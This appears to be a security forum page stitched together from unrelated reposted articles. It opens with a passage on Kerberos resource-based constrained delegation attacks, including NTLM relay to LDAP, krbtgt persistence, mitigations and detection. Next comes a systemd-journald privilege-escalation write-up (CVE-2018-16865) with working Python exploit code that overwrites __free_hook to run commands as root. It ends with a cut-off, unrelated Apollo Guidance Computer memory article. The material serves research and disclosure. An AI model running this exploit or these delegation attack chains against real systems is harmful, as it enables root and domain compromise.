in his blog post Not A Security Boundary: Breaking Forest Trusts, unconstrained delegation works across forest boundaries, making this attack effective across bidirectional forest trusts. When Accounts Collude - TrustedToAuthForDelegation Who? For years, Active Directory security experts have been telling us that if we must configure Kerberos delegation, constrained delegation is the way to go, and that we should use “Kerberos only” rather than “any authentication protocol” (as known as “protocol transition”). But perhaps the choice between “Kerberos only” and “Any authentication protocol” does not actually matter. We now know that we can abuse resource-based constrained delegation to get a forwardable TGS for arbitrary users. It follows that if we have credentials (or a TGT) for an account with an SPN and for an account with classic constrained delegation but without “protocol transition”, we can combine these two “features” to mimic “protocol transition”. This abuse case would work as follows: The attacker compromises an account that has an SPN or creates one (“Service A”). The attacker compromises an account (“Service B”), which is set for classic constrained delegation to a certain service class at Service C with Kerberos only (TrustedToAuthForDelegation is not set on Service B, and msDS-AllowedToDelegateTo on Service B contains a service on Service C, such as “time/Service C”). The attacker sets resource-based constrained delegation from Service A to Service B (setting msDS-AllowedToActOnBehalfOfOtherIdentity on Service B to contain “Service A” using Service B credentials or a TGT for Service B). The attacker uses Service A credentials/TGT to perform a full S4U2 attack and obtains a forwardable TGS for the victim to Service B. The attacker uses Service B credentials/TGT to invoke S4U2Proxy with the forwardable TGS from the previous step, and obtains a TGS for the victim to time/Service C. The attacker can modify the service class of the resulting TGS, for example from “time” to “cifs”, because the service name is not protected. The attacker can pass-the-ticket to gain access to Service C. The following diagram illustrates this scenario: Video demonstration of this scenario: https://youtu.be/y37Eo9zHib8 Unconstrained Domain Persistence Once attackers compromise the domain, they can obviously configure resource-based constrained delegation on strategic objects, such as domain controllers, and obtain a TGS on-demand. But resource-based constrained delegation can also be configured to generate TGTs on-demand as a domain persistence technique. Once the domain is compromised, resource-based constrained delegation can be configured from a compromised account to the krbtgt account to produce TGTs. The abuse case would work as follows: The attacker compromises the domain and an account that has an SPN or creates one (“Service A”). The attacker configures resource-based constrained delegation from Service A to krbtgt. The attacker uses Rubeus to perform a full S4U attack and obtain a TGS for an arbitrary user to krbtgt, which is, in fact, a TGT. The attacker can use the TGT to request a TGS to arbitrary services. The following diagram illustrates this scenario: Video demonstration of this scenario: https://youtu.be/1BU2BflUHxA In this scenario, the account Service A obtained a degree of power somewhat similar to that of the KDC in the sense that it can produce a TGT for arbitrary users. Arguably, more subtle persistence can be achieved through a new access control entry (ACE) to allow configuring resource-based constrained delegation on-demand, rather than leaving it in plain sight. Thinking Outisde the Box: RCE/LPE Opportunities As shown above, if an attacker can compromise a host with unconstrained delegation, RCE can be achieved with “the printer bug” and S4U2Self. But unconstrained delegation is not a trivial condition, so I attempted to come up with an attack chain that does not require unconstrained delegation. As mentioned above, every resource has the rights to configure resource-based constrained delegation for itself, which can be done via LDAP. This primitive opens the door to RCE/LPE opportunities if an attacker is in a position to perform a successful NTLM relay of a computer account authentication to LDAP. The abuse case would work as follows: The attacker compromises an account that has an SPN or creates one (“Service A”). The attacker triggers a computer account authentication using a primitive such as “the printer bug”. The attacker performs an NTLM relay of the computer account (“Service B”) authentication to LDAP on the domain controller. The attacker configures resource-based constrained delegation from Service A to Service B. The attacker uses Rubeus to perform a full S4U attack and obtain a TGS to Service B for a user that has local administrator rights on that host. The attacker can pass-the-ticket and gain RCE/LPE, depending on the primitive used to trigger the computer account authentication. The above scenario is straightforward and too good to be true. However, the reality is that NTLM relay is more complicated than it seems. NTLM Relay 101 NetNTLM is a challenge-response authentication protocol designed by Microsoft for Windows environments. In the NetNTLM protocol, three messages are exchanged: The client sends a NEGOTIATE message to request authentication and “advertise capabilities”. The server sends a CHALLENGE message that contains a random 8-byte nonce. The client sends an AUTHENTICATE message that contains a response to the challenge. The response is calculated using a cryptographic function with a key derived from the user’s password (the NTLM hash). The server validates the response to the challenge. If it is valid, authentication is successful. Otherwise, authentication fails. The protocol is susceptible to the following relay attack: An attacker in a man-in-the-middle position waits for an incoming NEGOTIATE message from a victim. The attacker relays the NEGOTIATE message to the target server. The target server sends a CHALLENGE message to the attacker. The attacker relays the CHALLENGE message to the victim. The victim generates a valid AUTHENTICATE message and sends it to the attacker. The attacker relays the valid AUTHENTICATE message to the target server. The target server accepts the AUTHENTICATE message and the attacker is authenticated successfully. The following diagram illustrates an NTLM relay attack: The NetNTLM protocol does not only provide authentication but can also facilitate a session key exchange for encryption (“sealing”) and signing. The client and the server negotiate whether sealing/signing is required through certain flags in the exchanged messages. The exchanged session key is RC4 encrypted using a key derived from the client’s NTLM hash. The client obviously holds the NTLM hash and can decrypt it. However, a domain member server does not hold the NTLM hash of domain users, but only of local users. When a domain user exchanges a session key with a member server, the member server uses the Netlogon RPC protocol to validate the client’s response to the challenge with a domain controller, and if a session key was exchanged then the key to decrypt it is calculated by the domain controller and provided to the member server. This separation of knowledge ensures that the member server does not obtain the NTLM hash of the client, and the domain controller does not obtain the session key. If the client and server negotiate a session key for signing, an attacker performing a relay attack can successfully authenticate, but will not be able to obtain the session key to sign subsequent messages, unless the attacker can obtain one of the following: The NTLM hash of the victim. Credentials for the computer account of the target server. Compromise a domain controller. However, if the attacker obtains any of the above, they do not need to perform an NTLM relay attack to compromise the target host or impersonate the victim, and this is the reason signing mitigates NTLM relay attacks. NTLM Relay 102 The goal is to perform a successful relay, without negotiating signing or encryption, from any protocol to LDAP. Most of the primitives I am aware of for eliciting a connection from a computer account are initiated by the SMB client or the RPC client, both of which always seem to negotiate signing. If signing was negotiated in the NTLM exchange, the LDAP service on domain controllers ignores all unsigned messages (tested on Windows Server 2016 and Windows Server 2012R2). The most obvious next move is to reset the flags that negotiate signing during the NTLM relay. However, Microsoft introduced a MIC (Message Integrity Code, I believe) to the NTLM protocol to prevent that. The MIC is sent by the client in the AUTHENTICATE message, and it protects the integrity of all three NTLM messages using HMAC-MD5 with the session key. If a single bit of the NTLM messages had been altered, the MIC would be invalid and authentication would fail. Not all clients support MIC, such as Windows XP/2003 and prior, and so it is not mandatory. So another thing to try would be omitting the MIC during the NTLM relay. However, there is a flag that indicates whether a MIC is present or not, and that flag is part of the “salt” used when calculating the NetNTLM response to the challenge. Therefore, if the MIC is removed and the corresponding flag is reset, then the NetNTLM response will be invalid and authentication will fail. Reflective NTLM Relay is Dead Traditionally, NTLM relay of computer accounts was performed reflectively, meaning from a certain host back to itself. Until MS08-068, it was commonly performed to achieve RCE by relaying from SMB to SMB. After it was patched, reflective cross-protocol NTLM relay was still possible, and was most commonly abused to achieve LPE in attacks such as Hot Potato. Cross-protocol reflective relay was patched in MS16-075, which killed reflective relays for good (or until James Forshaw brings it back). Rotten Potato/Juicy Potato is still alive and kicking, but it is a different flavour of reflective relay as it abuses local authentication, which ignores the challenge-response. Post MS16-075 many security researchers stopped hunting for primitives that elicit computer account authentication, because without reflection they were no longer valuable. Viable NTLM Relay Primitives for RCE/LPE An RCE/LPE primitive would require one of the following: A client that does not negotiate signing, such as the web client on all Windows versions, including WebDAV clients. A client that does not support MIC in NTLM messages, such as Windows XP/2003 and prior. An LDAP service that does not ignore unsigned messages or does not verify the MIC on a domain controller that supports resource-based constrained delegation. I don’t believe that this unicorn exists. There are different primitives for triggering the computer account to authenticate over HTTP. Some of them were abused in Hot Potato. I chose to explore those that take an arbitrary UNC path and then trigger a WebDAV client connection. Note that on Windows servers, the WebDAV client is not installed by default. On Windows Server 2012R2 and prior, the Desktop Experience feature is required, and on Windows Server 2016 or later, the WebDAV Redirector feature is required. However, on desktops, the WebDAV client is installed by default. As I mentioned above, it seems that some researchers no longer care for such primitives. However, as Lee Christensen (@tifkin_) demonstrated with the combination of “the printer bug” and unconstrained delegation, and as I will demonstrate below, these primitives are still exploitable, and I encourage everyone to keep hunting for them (and tell me all about it when you find them). Getting Intranet-Zoned By default, the web client will only authenticate automatically to hosts in the intranet zone, which means that no dots can be present in the hostname. If the relay server already has a suitable DNS record, then this is not an issue. However, if the relay server is “rogue”, an IP address will not cut it. To overcome that, ADIDNS can be abused to add a new DNS record for the relay server, as Kevin Robertson (@NetSPI) explained in his blog post Exploiting Active Directory-Integrated DNS. Case Study 1: MSSQL RCE/LPE MSSQL has an undocumented stored procedure called xp_dirtree that lists the file and folders of a provided path. By default, this stored procedure is accessible to all authenticated users (“Public”). Under the following conditions, an attacker can achieve RCE/LPE (depending mainly on connectivity) by abusing the xp_dirtree stored procedure: The the attacker has compromised a user permitted to invoke the xp_dirtree stored procedure. The MSSQL service is running as Network Service, Local System, or a Virtual Account (default). The WebDAV client is installed and running on the target host. The abuse case would work as follows: The attacker compromises credentials or a TGT for an account that has an SPN or creates one (“Service A”), and an account premitted to connect and invoke xp_dirtree on the target MSSQL instance. If required, the attacker uses Service A to add a DNS record using ADIDNS. The attacker logs in to the MSSQL service on the target host (“Service B”) and invokes xp_dirtree to trigger a connection to a rogue WebDAV NTLM relay server. The attacker relays the computer account NTLM authentication to the LDAP service on the domain controller, and configures resource-based constrained delegation from Service A to Service B. The attacker uses Rubeus to perform a full S4U attack to obtain a TGS to Service B for a user that has local administrator privileges on the target host. The attacker can pass-the-ticket to compromise the target host. The following diagram illustrates this scenario: Video demonstration of this scenario: https://youtu.be/nL2oa3URkCs Matt Bush (@3xocyte) implemented “Bad Sequel” as a PoC exploit for this scenario. Case Study 2: Windows 10/2016/2019 LPE One late night, Matt Bush (@3xocyte), Danyal Drew (@danyaldrew) and I brainstormed ideas where to find suitable RCE/LPE primitives, and decided to explore what happens when a user changes the account picture in Windows 10/2016/2019. We analysed it with Process Monitor and quickly found that during the account picture change SYSTEM opens the picture file to read its attributes. It is a small and meaningless operation; not an arbitrary file write/read/delete. But we are humble people, and that is all we wanted. The abuse case would work as follows: The attacker compromises credentials or a TGT for an account that has an SPN or creates one (“Service A”). The attacker gains unprivileged access to another computer running Windows 10 or Windows Server 2016/2019 with the WebDAV Redirector feature installed (“Service B”). If required, the attacker uses Service A to add a DNS record using ADIDNS. The attacker changes the account profile picture to a path on a rogue WebDAV NTLM relay server. The attacker relays the computer account NTLM authentication to the LDAP service on the domain controller, and configures resource-based constrained delegation from Service A to Service B. The attacker uses Rubeus to perform a full S4U attack to obtain a TGS to Service B for a user that has local administrator privileges on it. The attacker can pass-the-ticket to compromise Service B. The following diagram illustrates this scenario: Video demonstration of this scenario: https://youtu.be/741uz0ILxCA Mitigating Factors Accounts marked as sensitive for delegation or members of the Protected Users group are not affected by the attacks presented here, except for the S4U2Self abuse. However, computer accounts are affected, and in my experience they are never marked as sensitive for delegation or added to the Protected Users group. I did not thoroughly test the effects of setting computer accounts as sensitive for delegation or adding them to the Protected Users group, so I cannot recommend doing that, but I do recommend exploring it. As Lee Christensen (@tifkin_) demonstrated in “the printer bug” abuse case study at DerbyCon 8, obtaining a TGT/TGS for a domain controller allows performing “dcsync” and compromising the domain. As demonstrated above, with resource-based constrained delegation, obtaining a TGT for any computer account allows impersonating users to it and potentially compromising the host. Therefore, it is important not to configure any host for unconstrained delegation, because it can facilitate the compromise of other hosts within the forest and within other forests with bidirectional trust. LDAP signing with channel binding can mitigate the RCE and LPE attack chains described in the case studies above. The RCE/LPE attack chains that involve NTLM relay to LDAP abuse a default ACE that permits Self to write msDS-AllowedToActOnBehalfOfOtherIdentity. Adding a new ACE that denies Self from writing to the attribute msDS-AllowedToActOnBehalfOfOtherIdentity will interrupt these attack chains, which will then have to fall back to abusing that primitive in conjunction with unconstrained delegation. If your organisation does not use resource-based constrained delegation, you can consider adding an ACE that blocks Everyone from writing to the attribute msDS-AllowedToActOnBehalfOfOtherIdentity. Detection The following events can be used in the implementation of detection logic for the attacks describes in this post: S4U2Self: S4U2Self can be detected in a Kerberos service ticket request event (Event ID 4769), where the Account Information and Service Information sections point to the same account. S4U2Proxy: S4U2Proxy can be detected in a Kerberos service ticket request event (Event ID 4769), where the Transited Services attribute in the Additional Information is not blank. Unconstrained Domain Persistence: The domain persistence technique described above can be detected in a in a Kerberos service ticket request event (Event ID 4769), where the Transited Services attribute in the Additional Information is not blank (indicating S4U2Proxy), and the Service Information points to the “krbtgt” account. msDS-AllowedToActOnBehalfOfOtherIdentity: If an appropriate SACL is defined, then resource-based constrained delegation configuration changes can be detected in directory service object modification events (Event ID 5136), where the LDAP Display Name is “msDS-AllowedToActOnBehalfOfOtherIdentity”. Events where the subject identity and the object identity are the same may be an indicator for some of the attacks presented above. A Word of Advice from Microsoft Microsoft did highlight the risk of S4U2Proxy in section 5.1 of MS-SFU: “The S4U2proxy extension allows a service to obtain a service ticket to a second service on behalf of a user. When combined with S4U2self, this allows the first service to impersonate any user principal while accessing the second service. This gives any service allowed access to the S4U2proxy extension a degree of power similar to that of the KDC itself. This implies that each of the services allowed to invoke this extension have to be protected nearly as strongly as the KDC and the services are limited to those that the implementer knows to have correct behavior.” S4U2Proxy is a dangerous extension that should be restricted as much as possible. However, the introduction of resource-based constrained delegation allows any account to permit arbitrary accounts to invoke S4U2Proxy, by configuring “incoming” delegation to itself. So should we protect all accounts as strongly as the KDC? Author Elad Shamir (@elad_shamir) from The Missing Link Security. Acknowledgements Will Schroeder (@harmj0y), Lee Christensen (@tifkin_), Matt Bush (@3xocyte), and Danyal Drew (@danyaldrew) for bouncing off ideas and helping me figure this out. Will Schroeder (@harmj0y) for Rubeus. Matt Bush (@3xocyte) for dementor.py, helping implement the WebDAV NTLM relay server, and implementing Bad Sequel. Lee Christensen (@tifkin_) for discovering “the printer bug” and implementing SpoolSample. Benjamin Delpy (@gentilkiwi) for modifying Kekeo and Mimikatz to support this research. And OJ Reeves (@TheColonial) for the introduction. Kevin Robertson (@NetSPI) for Powermad. Microsoft for always coming up with great ideas, and never disappointing. Disclosure Timeline 26/10/2018 - Sent initial report to MSRC. 27/10/2018 - MSRC Case 48231 was opened and a case manager was assigned. 01/11/2018 - Sent an email to MSRC to let them know this behaviour actually conforms with the specification, but I believe it is still a security issue. 09/11/2018 - Sent an email to MSRC requesting an update on this case. 14/11/2018 - MSRC responded that they are still trying to replicate the issue. 27/11/2018 - Sent an email to MSRC providing a 60-day notice to public disclosure. 09/12/2018 - Send a reminder email to MSRC. 11/12/2018 - MSRC responded that a new case manager was assigned and the following conclusion was reached: “The engineering team has determined this is not an issue which will be addressed via a security update but rather we need to update our documentation to highlight service configuration best practices and using a number of features such as group managed service accounts, resource based constrained delegation, dynamic access control, authentication policies, and ensuring unconstrained delegation is not enabled. The team is actively working on the documentation right now with the goal of having it published prior to your disclosure date.” 28/01/2019 - Public disclosure I would like to note that my first experience with MSRC was very disappointing. The lack of dialogue was discouraging and not at all what I had expected. This post was also published on eladshamir.com. Sursa: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
-
Exploiting systemd-journald Part 1 January 29, 2019 By Nick Gregory Introduction This is part one in a multipart series on exploiting two vulnerabilities in systemd-journald, which were published by Qualys on January 9th. Specifically, the vulnerabilities were: a user-influenced size passed to alloca(), allowing manipulation of the stack pointer (CVE-2018-16865) a heap-based memory out-of-bounds read, yielding memory disclosure (CVE-2018-16866) The affected program, systemd-journald, is a system service that collects and stores logging data. The vulnerabilities discovered in this service allow for user-generated log data to manipulate memory such that they can take over systemd-journald, which runs as root. Exploitation of these vulnerabilities thus allow for privilege escalation to root on the target system. As Qualys did not provide exploit code, we developed a proof-of-concept exploit for our own testing and verification. There are some interesting aspects that were not covered by Qualys’ initial publication, such as how to communicate with the affected service to reach the vulnerable component, and how to control the computed hash value that is actually used to corrupt memory. We thought it was worth sharing the technical details for the community. As the first in our series on this topic, the objective of this post is to provide the reader with the ability to write a proof-of-concept capable of exploiting the service with Address Space Layout Randomization (ASLR) disabled. In the interest of not posting an unreadably-long blog, and also not handing sharp objects to script-kiddies before the community has had chance to patch, we are saving some elements for discussion in future posts in this series, including details on how to control the key computed hash value. We are also considering providing a full ASLR bypass, but are weighing whether we are lowering the bar too much for the kiddies (feel free to weigh in with opinions). As the focus of this post is on exploitation, the content is presented assuming the reader is already familiar with the initial publication’s analysis of the basic nature and mechanisms of the vulnerabilities involved. The target platform and architecture which we assume for this post is Ubuntu x86_64, and so to play along at home, we recommend using the 20180808.0.0 release of the ubuntu/bionic64 Vagrant image. Proof-of-Concept Attack Vector Before we can start exploiting a service, we need to understand how to communicate with it. In the case of journald, we could use the project’s own C library (excellently explained here). To ease exploitation, we need to have full control over the data sent to the target, a capability which unfortunately the journald libraries don’t provide out of the box. Thus, we chose to write our exploit in Python, implementing all the required functionality from scratch. To dive deeper into how our exploit works, we need to first understand how journald clients communicate to the daemon. So let’s get started! Interacting with systemd-journald There are three main ways userland applications can interact with journald: the syslog interface, the journald-native interface, and journald’s service stdout/stdin redirection. All of these interfaces have dedicated UNIX sockets in /run/systemd/journald/. For our purposes, we only need to investigate the syslog and native interfaces, as those attempt to parse the log messages sent by programs, and are where the vulnerabilities reside. Syslog Interface The syslog interface is the simplest interface to journald, being a compatibility layer for applications that aren’t built with journald-specific logging. This interface is available by writing to one of the standard syslog UNIX datagram sockets such as /dev/log or /run/systemd/journal/dev-log. Any syslog messages written into them are parsed by journald (to remove the standard date, hostname, etc. added by syslog, see manpage syslog(3)) and then saved. A simple way to experiment with the parser is by sending data with netcat, and observing the output with journalctl: $ echo 'Test Message!' | nc -Uu /dev/log $ journalctl --user -n 1 ... Jan 23 17:23:47 localhost nc[3646]: Test Message! Journald-Native Interface The native interface is how journal-aware applications log to the journal. Similar to the syslog interface, this is accessed by the UNIX datagram socket at /run/systemd/journal/socket.The journald-native interface uses a simple protocol for clients to talk to the journald server over this socket, resembling a simple Key/Value store, and which allows clients to send multiple newline-separated entries in a single write. These entries can either be simple KEY=VALUE pairs or binary blobs. Binary blobs are formed by sending the entry field name, a newline, the size of the blob as a uint64, the contents of the blob, and a final newline like so: SOME_KEY \x0a\x00\x00\x00\x00\x00\x00\x00\x00SOME_VALUE The native socket can also accept these entries in two different ways: by directly sending data over the socket by using an interesting feature of UNIX sockets, which is the ability to send a file descriptor (FD) over the socket Datagram sockets can only handle messages of a limited size (around 0x34000 bytes in our environment) before erroring with EMSGSIZE, and this is where FD passing comes in to play. We can write our messages to a temporary file, then pass journald a file descriptor for that file, giving us the ability to send messages up to journald’s self-imposed 768MB limit (defined by DATA_SIZE_MAX). Digging into FD passing a bit further, we find that journald can accept two different types of file descriptors: normal file descriptors (see manpages fcntl(2)) sealed memfds (see manpages memfd_create(2)) Luckily, we don’t need to bother with sealed file descriptors for reasons that we’ll get to in a future post. Similarly to the syscall interface, you can easily send native messages with nc: $ echo 'MESSAGE=Hello!' | nc -Uu /run/systemd/journal/socket $ journalctl --user -n 1 ... Jan 23 17:39:40 localhost nc[7154]: Hello! And to add custom entries: $ echo 'KEY=VALUE\nMESSAGE=Hello!' | nc -Uu /run/systemd/journal/socket $ journalctl --user -n 1 -o json-pretty { "__CURSOR" : "s=e07cdf6930884834bec282476c7b59e0;i=4e652;b=9a1272556aa440f69531842f94d8f10a;m=163757c8c8 "__REALTIME_TIMESTAMP" : "1548283220714394", "__MONOTONIC_TIMESTAMP" : "95417780424", ... "MESSAGE" : "Hello!", "KEY" : "VALUE", ... } Exploitation Overview Now that we have a decent understanding of how to interact with journald, we can start writing our exploit. Since the goal of this first post is to write a PoC which works with ASLR disabled, we don’t have to worry about using the syslog interface to perform a memory disclosure, and will instead jump directly into the fun of exploiting journald with CVE-2018-16865. As noted by Qualys, the user-influenced size allocated with alloca() is exploitable due to the ability to create a message with thousands, or even millions of entries. When these entries are appended to the journal, these messages result in a size of roughly sizeof(EntryItem) * n_entries to be allocated via alloca(). Since the mechanism of alloca() to reserve memory on the stack is a simple subtraction from the stack pointer with a sub rsp instruction, our influence over this size value grants the ability to lower the stack pointer off the bottom of the stack into libc. The actual use of alloca() in the source is wrapped in a macro called newa(), and the responsible code for the vulnerable operation looks like: items = newa(EntryItem, MAX(1u, n_iovec)); Our general approach for exploiting this vulnerability is to initially send the right size and count of entries, so as to make the stack pointer point to libc’s BSS memory region , and then surgically overwrite the free_hook function pointer with a pointer to system. This grants us arbitrary command execution upon the freeing of memory with content we control. To actually exploit this, there are two main issues we need to solve: Sending all of the entries to journald Controlling the data written to the stack after it has been lowered into libc The first issue has already been addressed by our exploration of the native interface, as discussed in the previous section. From this interface we can write data to a temporary file, and then pass the FD for that file to journald which gives us easily enough room to send the hundreds of megabytes of data needed to jump from the stack to libc. The second issue is a bit more complex, since we don’t directly control the data written to the stack after it has been lowered into libc’s memory. This is because our entries are being hashed prior to being written, by the function jenkins_hashlittle2 (originally written by Bob Jenkins, hence the name). Thus, exploitation requires controlling all 64 bits of output that the hash function produces, which presents a seemingly formidable problem at first. Preimaging a hash can be a daunting task; however, there are some very nice tools we can use to calculate exact preimages in under 30 seconds, since this is not a cryptographically secure hash. We’ll be exploring the specifics of achieving this calculation and the tools involved in our next blog post. For the scope of this post and our initial PoC, we will be using the constants we have already computed for our Vagrant image. Proof-of-Concept Code Here we will begin walking through Python code for our PoC, and a link to the full script can be found at the very end. The first chunk of code is basic setup, helper functions, and a nice wrapper around UNIX sockets that will make our life easier further down the line: #!/usr/bin/env python3 import array import os import socket import struct TEMPFILE = '/tmp/systemdown_temp' def p64(n): return struct.pack('<Q', n) class UNIXSocket(object): def __init__(self, path): self.path = path def __enter__(self): self.client = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM, 0) self.client.connect(self.path) return self.client def __exit__(self, exc_t, exc_v, traceback): self.client.close() Next we have some constants that may change based on the particular target environment. These constants were built for the 20180808.0.0 release of the ubuntu/bionic64 Vagrant image (and again, these assume a target with ASLR disabled): # Non-ASLR fixed locations for our test image libc = 0x7ffff79e4000 stack = 0x7fffffffde60 #location of the free_hook function pointer to overwrite free_hook = libc + 0x3ed8e8 # preimage which computes to location of the system function via hash64() # that location is libc + 0x4f440 in our test image system_preimage = b"Y=J~-Y',Wj(A" # padding count to align memory padding_kvs = 3 Now we have the bulk of the values needed for our proof-of-concept exploit. The first step in the exploit logic is to add some padding entries which causes an increase in the size of the alloca, shifting the stacks of journal_file_append_data (and the functions it calls) further down. This is to align the precise location where data will be written in libc’s .BSS, and avoid unnecessarily clobbering any other libc global values, which could greatly interfere with exploitation. with open(TEMPFILE, 'wb') as log: msg = b"" for _ in range(padding_kvs): msg += b"P=\n" Next, we add the preimage value, the hash for which (when computed from hash64()) will be the address of system. Specifically, this alignment of this value will be such that journald writes system into libc’s __free_hook, giving us a shell when our command below is freed. # msg n is our key that when hashed gives system msg += system_preimage + b"\n" Next, we append our command as a binary data block surrounded by semicolons to make sh happy. We also ensure journald is forcefully killed here so that libc has no chance of locking up after the system() call returns: # next is our command as a binary data block cmd = b"echo $(whoami) > /tmp/pwn" # be sure to kill journald afterwards so it doesn't lockup cmd = b";" + cmd + b";killall -9 /lib/systemd/systemd-journald;" # format as a binary data block msg += b"C\n" msg += p64(len(cmd)) msg += cmd + b"\n" As described by Qualys, we then send a large entry (>=128MB), which results in an error and causes journald to break out of the loop that is processing the entries (src). Once this error condition is hit and the loop is stopped, no more values are written, and so this step is important to discontinue the corrupting of memory, preventing values from being written to unmapped / non-writable memory between libc and the stack. # Then we send a large item which breaks the loop msg += b"A=" + b"B"*(128*1024*1024) + b"\n" Finally, we pad our message with enough entries to cause the stack->libc drop to happen in the first place: # Then fill with as many KVs as we need to get to the right addr num_msgs = (((stack - free_hook)//16) - 1) num_msgs -= 3 # the three above num_msgs -= 7 # added by journald itself msg += b"B=\n" * num_msgs log.write(msg) At this point, we just need to pass the log FD to journald to get our shell: with UNIXSocket("/run/systemd/journal/socket") as sock: with open(TEMPFILE, 'rb') as log: sock.sendmsg([b""], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array("i", [log.fileno()]))]) os.unlink(TEMPFILE) After running this, we find the file /tmp/pwn has been created with contents “root”, meaning we have successfully achieved our privilege escalation. $ cat /tmp/pwn root All Together Now The full proof-of-concept script that works with ASLR disabled is available here. Detection Having a working exploit for this (and other interesting) CVEs helps us validate our zero-day detection capabilities, and when necessary, improve them. Here, even with ASLR turned off, we detect exploitation out-of-the-box, as it is happening, through our Stack Pivot Strategy (we call our detection models strategies), and would generally detect most payloads. With ASLR turned on, an additional strategy detects the attempt to bypass ASLR. We do this all by looking for clear evidence of exploitation, instead of attempting to do signature scanning for IOCs associated with any specific CVE, malware family, threat actor, etc. While we can support that too, whack-a-mole isn’t a good model for detection and prevention. Sursa: https://capsule8.com/blog/exploiting-systemd-journald-part-1/
-
Inside the Apollo Guidance Computer's core memory The Apollo Guidance Computer (AGC) provided guidance, navigation and control onboard the Apollo flights to the Moon. This historic computer was one of the first to use integrated circuits, containing just two types of ICs: a 3-input NOR gate for the logic circuitry and a sense amplifier IC for the memory. It also used numerous analog circuits built from discrete components using unusual cordwood construction. The Apollo Guidance Computer. The empty space on the left held the core rope modules. The connectors on the right communicate between the AGC and the spacecraft. We1 are restoring the AGC shown above. It is a compact metal box with a volume of 1 cubic foot and weighs about 70 pounds. The AGC had very little memory by modern standards: 2048 words of RAM in erasable core memory and 36,864 words of ROM in core rope memory. (In this blog post, I'll discuss just the erasable core memory.) The core rope ROM modules (which we don't have)2 would be installed in the empty space on the left. On the right of the AGC, you can see the two connectors that connected the AGC to other parts of the spacecraft, including the DSKY (Display/Keyboard).3 By removing the bolts holding the two trays together, we could disassemble the AGC. Pulling the two halves apart takes a surprising amount of force because of the three connectors in the middle that join the two trays. The tray on the left is the "A" tray, which holds the logic and interface modules. The tangles of wire on the left of the tray are the switching power supplies that convert 28 volts from the spacecraft to 4 and 14 volts for use in the AGC. The tray on the right is the "B" tray, which holds the memory circuitry, oscillator and alarm. The core memory module was removed in this picture; it goes in the empty slot in the middle of the B tray. The AGC is implemented with dozens of modules in two trays. The trays are connected through the three connectors in the middle. Core memory overview Core memory was the dominant form of computer storage from the 1950s until it was replaced by semiconductor memory chips in the early 1970s. Core memory was built from tiny ferrite rings called cores, storing one bit in each core. Cores were arranged in a grid or plane, as in the highly-magnified picture below. Each plane stored one bit of a word, so a 16-bit computer would use a stack of 16 core planes. Each core typically had 4 wires passing through it: X and Y wires in a grid to select the core, a diagonal sense line through all the cores for reading, and a horizontal inhibit line for writing.4 Closeup of a core memory (not AGC). Photo by Jud McCranie (CC BY-SA 4.0). Each core stored a bit by being magnetized either clockwise or counterclockwise. A current in a wire through the core could magnetize the core with the magnetization direction matching the current's direction. To read the value of a core, the core was flipped to the 0 state. If the core was in 1 state previously, the changing magnetic field produced a voltage in the sense wire threaded through the cores. But if the core was in the 0 state to start, the sense line wouldn't pick up a voltage. Thus, forcing a core to 0 revealed the core's previous state (but erased it in the process). A key property of the cores was hysteresis: a small current had no effect on a core; the current had to be above a threshold to flip the core. This was very important because it allowed a grid of X and Y lines to select one core from the grid. By energizing one X line and one Y line each with half the necessary current, only the core where both lines crossed would get enough current to flip and other cores would be unaffected. This "coincident-current" technique made core memory practical since a few X and Y drivers could control a large core plane. The AGC's erasable core memory system The AGC used multiple modules in the B tray to implement core memory. The Erasable Memory module (B12) contained the actual cores, 32768 cores to support 2048 words; each word was 15 bits plus a parity bit. Several more modules contained the supporting circuitry for the memory.5 The remainder of this article will describe these modules. The erasable memory module in the Apollo Guidance Computer, with the supporting modules next to it. Image courtesy of Mike Stewart. The photo below shows the Erasable Memory module after removing it from the tray. Unlike the other modules, this module has a black metal cover. Internally, the cores are encapsulated in Silastic (silicone rubber), which is then encapsulated in epoxy. This was intended to protect the delicate cores inside, but it took NASA a couple tries to get the encapsulation right. Early modules (including ours) were susceptible to wire breakages from vibrations. At the bottom of the modules are the gold-plated pins that plug into the backplane. The erasable core memory module from the Apollo Guidance Computer. Core memory used planes of cores, one plane for each bit in the word. The AGC had 16 planes (which were called mats), each holding 2048 bits in a 64×32 grid. Note that each mat consists of eight 16×16 squares. The diagram below shows the wiring of the single sense line through a mat. The X/Y lines were wired horizontally and vertically. The inhibit line passed through all the cores in the mat; unlike the diagonal sense line it ran vertically. The sense line wiring in an AGC core plane (mat). The 2048 cores are in a 64×32 grid. Most computers physically stacked the core planes on top of each other but the AGC used a different mechanical structure, folding the mats (planes) to fit compactly in the module. The mats were accordion-folded to fit tightly into the module as shown in the diagram below. (Each of the 16 mats is outlined in cyan.) When folded, the mats formed a block (oriented vertically in the diagram below) that was mounted horizontally in the core module. This folding diagram shows how 16 mats are folded into the core module. (Each cyan rectangle indicates a mat.) The photo below shows the memory module with the cover removed. (This is a module on display at the CHM, not our module.) Most of the module is potted with epoxy, so the cores are not visible. The most noticeable feature is the L-shaped wires on top. These connect the X and Y pins to 192 diodes. (The purpose of the diode will be explained later.) The diodes are hidden underneath this wiring in two layers, mounted horizontally cordwood-style. The leads from the diodes are visible as they emerge and connect to terminals on top of the black epoxy. The AGC's memory module with the cover removed. This module is on display at the CHM. Photo courtesy of Mike Stewart. Marc took X-rays of the module and I stitched the photos together (below) to form an image looking down into the module. The four rows of core mats in the folding diagram correspond to the four dark blocks. You can also see the two rows of diodes as two darker horizontal stripes. At this resolution, the wires through the cores and the tangled mess of wires to the pins are not visible; these wires are very thin 38-gauge wires, much thinner than the wires to the diodes. Composite X-ray image of the core memory module. The stitching isn't perfect in the image because the parallax and perspective changed in each image. In particular, the pins appear skewed in different directions. The diagram below shows a cross-section of the memory module. (The front of the module above corresponds to the right side of the diagram.) The diagram shows how the two layers of diodes (blue) are arranged at the top, and are wired (red) to the core stack (green) through the "feed thru". Also note how the pins (yellow) at the bottom of the module rise up through the epoxy and are connected by wires (red) to the core stack. Cross-section of memory module showing internal wiring. From Apollo Computer Design Review page 9-39 (Original block II design.) Addressing a memory location The AGC's core memory holds 2048 words in a 64×32 matrix. To select a word, one of the 64 X select lines is energized along with one of the 32 Y select lines. One of the challenges of a core memory system is driving the X and Y select lines. These lines need to be driven at high current (100's of milliamps). In addition, the read and write currents are opposite directions, so the lines need bidirectional drivers. Finally, the number of X and Y lines is fairly large (64 + 32 for the AGC), 